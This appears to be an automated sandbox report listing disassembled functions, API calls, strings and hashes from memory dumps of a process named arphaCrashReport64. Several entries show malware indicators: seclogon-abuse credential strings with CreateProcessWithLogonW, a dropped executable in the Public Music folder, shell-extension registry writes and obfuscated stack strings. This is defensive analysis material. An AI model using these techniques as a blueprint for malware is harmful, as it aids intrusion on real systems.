AtlThunk_AllocateData, xrefs: 00007FF60016D481
AtlThunk_FreeData, xrefs: 00007FF60016D4ED
AtlThunk_DataToCode, xrefs: 00007FF60016D4C8

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeLibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 4088972757-1745123996
Opcode ID: 318f5717511456cabe01ac0f45910221d27ad42c297a2242a16efb7a4ad3622b
Instruction ID: 88af5947c66680595fcd2aea09d0ad0eb9f1802c890cbd5f33879d1863e148c8
Opcode Fuzzy Hash: 318f5717511456cabe01ac0f45910221d27ad42c297a2242a16efb7a4ad3622b
Instruction Fuzzy Hash: 28219B70F0AB03A1EE559BD1B85823423E0BF89B45F6850B5D96E8776CDEBCE6488340

Function 00007FF60016D53C Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D555
LoadLibraryExA.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D56F
GetProcAddress.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D58B
EncodePointer.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D59D
GetProcAddress.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D5B4
EncodePointer.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D5C2
GetProcAddress.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D5D9
EncodePointer.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D5E7
GetProcAddress.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D5FE
EncodePointer.KERNEL32(?,?,?,00007FF60016D99A), ref: 00007FF60016D60C

Strings

AtlThunk_InitData, xrefs: 00007FF60016D5A3
atlthunk.dll, xrefs: 00007FF60016D562
AtlThunk_AllocateData, xrefs: 00007FF60016D581
AtlThunk_FreeData, xrefs: 00007FF60016D5ED
AtlThunk_DataToCode, xrefs: 00007FF60016D5C8

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeLibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 4088972757-1745123996
Opcode ID: f8712fd5a3c25522077a4ff2ee864bf8c10fba992a64d8f947a4c16263d71c49
Instruction ID: 451895fe6a6c68df9addaad43dd3b53a69c1d4bb2979fa746fcf693710e8f474
Opcode Fuzzy Hash: f8712fd5a3c25522077a4ff2ee864bf8c10fba992a64d8f947a4c16263d71c49
Instruction Fuzzy Hash: C7219670F0AB03A1EE559BD5F85823423E0BF89B45F6890B5C96E87368DEBCA6448740

Function 00007FF600164200 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 228stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6001630E0: CharNextW.USER32(?,?,00007FF6001657B6), ref: 00007FF600163114
Part of subcall function 00007FF6001630E0: CharNextW.USER32(?,?,00007FF6001657B6), ref: 00007FF60016314C
Part of subcall function 00007FF6001630E0: CharNextW.USER32(?,?,00007FF6001657B6), ref: 00007FF60016316E
Part of subcall function 00007FF6001630E0: CharNextW.USER32(?,?,00007FF6001657B6), ref: 00007FF600163186
Part of subcall function 00007FF6001630E0: CharNextW.USER32(?,?,00007FF6001657B6), ref: 00007FF600163195
Part of subcall function 00007FF6001630E0: CharNextW.USER32(?,?,00007FF6001657B6), ref: 00007FF600163205

lstrcmpiW.KERNEL32(?,?,00000027,00000000,00000000,?,?,?,00007FF600163FB0), ref: 00007FF60016428A
lstrcmpiW.KERNEL32(?,00000027,00000000,00000000,?,?,?,00007FF600163FB0), ref: 00007FF6001642A0
RegCloseKey.ADVAPI32(?,?,00000027,00000000,00000000,?,?,?,00007FF600163FB0), ref: 00007FF600164E50

Strings

REGISTRY, xrefs: 00007FF60016420B
Delete, xrefs: 00007FF600164280
NoRemove, xrefs: 00007FF600164535
Val, xrefs: 00007FF6001646E3
ForceRemove, xrefs: 00007FF600164296

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: CharNext$lstrcmpi$Close
String ID: Delete$ForceRemove$NoRemove$REGISTRY$Val
API String ID: 3752141797-3633700294
Opcode ID: 04aa429bae3d8595f7f3c8ca20f3c370a6b79915d783884065d625aa2123f27a
Instruction ID: c6886212f2400c875e1f090e86747c0f2d7512f774ab4f874c1825c0c09ce9d8
Opcode Fuzzy Hash: 04aa429bae3d8595f7f3c8ca20f3c370a6b79915d783884065d625aa2123f27a
Instruction Fuzzy Hash: 7E91CF36A09613A2EB218BE5AC042BA23A1BF94B84F704171EE0DC779CEF7CE544C340

Function 0000021497F3DAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000021497F3DB08
_errno.LIBCMT ref: 0000021497F3DB0F
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F3DB1A
__doserrno.LIBCMT ref: 0000021497F3DC65
CreateProcessA.KERNEL32 ref: 0000021497F3DCA7
GetLastError.KERNEL32 ref: 0000021497F3DCAF
free.LIBCMT ref: 0000021497F3DCBC
WaitForSingleObject.KERNEL32 ref: 0000021497F3DCE9
GetExitCodeProcess.KERNEL32 ref: 0000021497F3DCF7
CloseHandle.KERNEL32 ref: 0000021497F3DD11
CloseHandle.KERNEL32 ref: 0000021497F3DD21
_errno.LIBCMT ref: 0000021497F3DD2C

Strings

cmd.exe, xrefs: 0000021497F3DAC2

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction ID: bd113997c298b9d7051395fdc1fd73df9ab17f1d346a6c802e8c1a24a6e1bbd5
Opcode Fuzzy Hash: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction Fuzzy Hash: 9471DE32600B4495FB21BF69D468BEE37A0F7647DAF404A16DE5E63BD9DB38C4098B00

Function 00007FF60016C9A0 Relevance: 22.7, APIs: 15, Instructions: 236threadCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00007FF60016C9B9
SetLastError.KERNEL32 ref: 00007FF60016C9DC

Part of subcall function 00007FF600162750: _CxxThrowException.LIBVCRUNTIME ref: 00007FF60016276C

GetCurrentThreadId.KERNEL32 ref: 00007FF60016CA0D
EnterCriticalSection.KERNEL32 ref: 00007FF60016CA1D
LeaveCriticalSection.KERNEL32 ref: 00007FF60016CA3C
CreateDialogParamW.USER32 ref: 00007FF60016CA61
ShowWindow.USER32 ref: 00007FF60016CA70
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF60016CA76
PathStripPathW.SHLWAPI ref: 00007FF60016CB34

Part of subcall function 00007FF60016D894: GetProcessHeap.KERNEL32(?,?,?,00007FF600162EF6), ref: 00007FF60016D89A
Part of subcall function 00007FF60016D894: HeapAlloc.KERNEL32(?,?,?,00007FF600162EF6), ref: 00007FF60016D8AC

SetDlgItemTextW.USER32 ref: 00007FF60016CC26
UpdateWindow.USER32 ref: 00007FF60016CC30
GetParent.USER32 ref: 00007FF60016CC3A
IsWindow.USER32 ref: 00007FF60016CC43
GetParent.USER32 ref: 00007FF60016CC51
EnableWindow.USER32 ref: 00007FF60016CC5C

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CriticalHeapParentPathSection$ActiveAllocCreateCurrentDialogDumpEnableEnterErrorExceptionItemLastLeaveLocalParamProcessShowStripTextThreadThrowUpdate
String ID:
API String ID: 3114591438-0
Opcode ID: 4ab98e69dc85c3c2fb14e5b274084fd2f8c30c7f9b1560f41e70154f0f5547c0
Instruction ID: c1d2c9df662be172545bf85420fcef36818e797f5fb14a764b12f8704872e058
Opcode Fuzzy Hash: 4ab98e69dc85c3c2fb14e5b274084fd2f8c30c7f9b1560f41e70154f0f5547c0
Instruction Fuzzy Hash: 74A19E32B09B42A2EB00DBAAE84427D73A1FF85B94F644175DA5E837A9DF3CE544C740

Function 0000021497F2F360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0000021497F2F3A0
GetCurrentThreadId.KERNEL32 ref: 0000021497F2F3A8
VirtualProtect.KERNEL32 ref: 0000021497F2F3CF
VirtualProtect.KERNEL32 ref: 0000021497F2F3F6
CreateProcessWithLogonW.ADVAPI32 ref: 0000021497F2F450
VirtualProtect.KERNEL32 ref: 0000021497F2F475
VirtualProtect.KERNEL32 ref: 0000021497F2F49C
CloseHandle.KERNEL32 ref: 0000021497F2F4AC

Strings

MalseclogonUser, xrefs: 0000021497F2F43F
C:\Users\Public\Music\Trace.exe, xrefs: 0000021497F2F41D
MalseclogonDomain, xrefs: 0000021497F2F438
MalseclogonPwd, xrefs: 0000021497F2F431

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction ID: 34809d55e59959e04886b1c896065770c0812e4c93b8f82b008c74d519c5ff87
Opcode Fuzzy Hash: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction Fuzzy Hash: 6931F432214B8AA7DA20EF11F85CBCA77A8F394385F400515DA8D53A28EF38D669CB44

Function 0000021497F36228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 0000021497F36280

Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BEC2
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BED4
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BEE6
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BEF8
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF0A
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF1C
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF2E
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF40
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF52
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF64
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF79
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BF8E
Part of subcall function 0000021497F3BEA4: free.LIBCMT ref: 0000021497F3BFA3

free.LIBCMT ref: 0000021497F36274

Part of subcall function 0000021497F33D28: HeapFree.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D3E
Part of subcall function 0000021497F33D28: _errno.LIBCMT ref: 0000021497F33D48
Part of subcall function 0000021497F33D28: GetLastError.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D50

free.LIBCMT ref: 0000021497F36296
__free_lconv_num.LIBCMT ref: 0000021497F362A2
free.LIBCMT ref: 0000021497F362AE
free.LIBCMT ref: 0000021497F362BA
free.LIBCMT ref: 0000021497F362DE
free.LIBCMT ref: 0000021497F362F2
free.LIBCMT ref: 0000021497F36301
free.LIBCMT ref: 0000021497F3630D
free.LIBCMT ref: 0000021497F3633A
free.LIBCMT ref: 0000021497F36362
free.LIBCMT ref: 0000021497F3637C

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: 6801e37d8bc1777b0729d1019acb6a01ff1385f78115018511d736d7c1a3dfa1
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: 2A410F32601A49D4EF59FF65C478BEE23A0EFA4BC7F440831DA0D66299CF28C4858B11

Function 0000021497F2F690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F338A4: GetSystemTimeAsFileTime.KERNEL32 ref: 0000021497F338B2

Part of subcall function 0000021497F34238: _getptd.LIBCMT ref: 0000021497F34240

rand.LIBCMT ref: 0000021497F2F6D0

Part of subcall function 0000021497F34250: _getptd.LIBCMT ref: 0000021497F34254

lstrlen.KERNEL32 ref: 0000021497F2F720
lstrlen.KERNEL32 ref: 0000021497F2F77A
lstrlen.KERNEL32 ref: 0000021497F2F7A0
RegOpenKeyExA.ADVAPI32 ref: 0000021497F2F82C
RegSetValueExA.ADVAPI32 ref: 0000021497F2F852
RegSetValueExA.ADVAPI32 ref: 0000021497F2F87F
RegCloseKey.ADVAPI32 ref: 0000021497F2F88A

Strings

lpData, xrefs: 0000021497F2F83F
lpKey, xrefs: 0000021497F2F862
SOFTWARE\Classes\*\shellex, xrefs: 0000021497F2F810

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction ID: 0fec924cfcdc8f8e2a6a4aac8a246042cb1e6cc7de7c04df8058275f54063b35
Opcode Fuzzy Hash: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction Fuzzy Hash: 5B51F33222468182EB10EF28F468BDB7BA0F7A5BC5F445421EA8E57759DF3CC544CB04

Function 0000021497C50DC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497C50DF4
_getptd.LIBCMT ref: 0000021497C50E08
_getptd.LIBCMT ref: 0000021497C50E42
_getptd.LIBCMT ref: 0000021497C50E4E
_getptd.LIBCMT ref: 0000021497C50E5A
_CreateFrameInfo.LIBCMT ref: 0000021497C50E6F

Part of subcall function 0000021497C504C0: _getptd.LIBCMT ref: 0000021497C504CC
Part of subcall function 0000021497C504C0: _getptd.LIBCMT ref: 0000021497C504DA
Part of subcall function 0000021497C504C0: _getptd.LIBCMT ref: 0000021497C504EE

_getptd.LIBCMT ref: 0000021497C50E8D
_getptd.LIBCMT ref: 0000021497C50F93
_getptd.LIBCMT ref: 0000021497C50F9F

Strings

csm, xrefs: 0000021497C50F53

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 5ef852d009cdb6068dcc10c98beab06fcef9134f8f6cdd0d264a5ed9767795dc
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: 7C514370518B959FD7A4FF689449BE673E0FB69312F500A6EE08DC3552D731E8818B82

Function 0000021497F4140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F4143C

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

_getptd.LIBCMT ref: 0000021497F41450
_getptd.LIBCMT ref: 0000021497F4148A
_getptd.LIBCMT ref: 0000021497F41496
_getptd.LIBCMT ref: 0000021497F414A2
_CreateFrameInfo.LIBCMT ref: 0000021497F414B7

Part of subcall function 0000021497F40B08: _getptd.LIBCMT ref: 0000021497F40B14
Part of subcall function 0000021497F40B08: _getptd.LIBCMT ref: 0000021497F40B22
Part of subcall function 0000021497F40B08: _getptd.LIBCMT ref: 0000021497F40B36

_getptd.LIBCMT ref: 0000021497F414D5
_getptd.LIBCMT ref: 0000021497F415DB
_getptd.LIBCMT ref: 0000021497F415E7

Strings

csm, xrefs: 0000021497F4159B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 898ca9b7b14a246e6303593d01a477bfe6764440c4f5193066c9f333c871fd4a
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: CE41AF32104B8582DA70EB16E468BEF73A4F355B95F114665DFAE17B89DF34C061CB00

Function 0000021497F3F5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F3F600
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F3F60B
__wtomb_environ.LIBCMT ref: 0000021497F3F6ED
_errno.LIBCMT ref: 0000021497F3F6F6
free.LIBCMT ref: 0000021497F3F7E7
SetEnvironmentVariableA.KERNEL32 ref: 0000021497F3F918
_errno.LIBCMT ref: 0000021497F3F925
free.LIBCMT ref: 0000021497F3F933
free.LIBCMT ref: 0000021497F3F940
free.LIBCMT ref: 0000021497F3F967

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction ID: 83ba91da7be40c4ad0534e7af6b845389f2ebac5e4c997135260d86ab723f7af
Opcode Fuzzy Hash: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction Fuzzy Hash: 2EA1F23221274481FA15BB25AD28BEB22D0BBA0BE7F148D64DE5D6B7DDDF38C4458B00

Function 0000021497F21AC0 Relevance: 16.6, APIs: 11, Instructions: 75sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21ADC
CloseHandle.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21AEB
CloseHandle.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21AFA
CloseHandle.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B0C
WSACleanup.WS2_32 ref: 0000021497F21B12
VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B29
VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B4D
VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B6F
VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B9C
VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21BB7
VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21BD2

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: 8b05be5010b67b5b1e29056d2c934086aadd60e492c12fe3663a753402218fc3
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: 2E310C35201B0082EF98EF66D868B6A63A5FFA4F86F044915CE4D5366CDF38C4549B14

Function 0000021497C32F18 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 276COMMON

Download Yara Rule

APIs

_localtime64.LIBCMT ref: 0000021497C33134

Part of subcall function 0000021497C435D8: __getgmtimebuf.LIBCMT ref: 0000021497C435EA

Part of subcall function 0000021497C43620: _errno.LIBCMT ref: 0000021497C43658
Part of subcall function 0000021497C43620: _invalid_parameter_noinfo.LIBCMT ref: 0000021497C43664
Part of subcall function 0000021497C43620: _errno.LIBCMT ref: 0000021497C436D3

Strings

2, xrefs: 0000021497C32FD9
serN, xrefs: 0000021497C32FEB
pi32, xrefs: 0000021497C33010
2, xrefs: 0000021497C32F84
GetU, xrefs: 0000021497C32FE1
ameA, xrefs: 0000021497C32FF5
Adva, xrefs: 0000021497C33006
.dll, xrefs: 0000021497C3301A

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$__getgmtimebuf_invalid_parameter_noinfo_localtime64
String ID: .dll$2$2$Adva$GetU$ameA$pi32$serN
API String ID: 1626460918-1620219524
Opcode ID: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction ID: a93d113358e6303783dab5c51484a7ddc7aa0b8d7061e1a5932d8b02ec9ca181
Opcode Fuzzy Hash: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction Fuzzy Hash: 03A1D631158A888BEB25FF24D848BEA77E1FBA4351F50461AE44AC71E2DF349A45CF41

Function 00007FF60016AA80 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 124threadprocesswindowCOMMON

Download Yara Rule

APIs

IsDlgButtonChecked.USER32 ref: 00007FF60016AAA8
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF60016AAB6
PathRemoveFileSpecW.SHLWAPI ref: 00007FF60016AB15
CreateProcessW.KERNEL32 ref: 00007FF60016ABB7
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF60016ABEB
GetWindowThreadProcessId.USER32 ref: 00007FF60016AC00
PostThreadMessageW.USER32 ref: 00007FF60016AC12
ShowWindow.USER32 ref: 00007FF60016AC20

Strings

h, xrefs: 00007FF60016AB69

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Window$DumpLocalProcessThread$ButtonCheckedCreateFileMessagePathPostRemoveShowSpec
String ID: h
API String ID: 1836464528-2439710439
Opcode ID: 9162a5b24f374cef23787fbb5ed542cac54d9306ac9f3df57fb38a73f5910643
Instruction ID: adefa089b13bb538312c9cabbbefd00372d4d7575c6d02254ae2f1abd37a4776
Opcode Fuzzy Hash: 9162a5b24f374cef23787fbb5ed542cac54d9306ac9f3df57fb38a73f5910643
Instruction Fuzzy Hash: 96518032A08A8292DB20CF65E85476E73A1FBC4B94F608275DA5D83BADDF3DD541CB40

Function 00007FF6001784F8 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF600178666

Strings

INF, xrefs: 00007FF60017856C
inf, xrefs: 00007FF60017857F
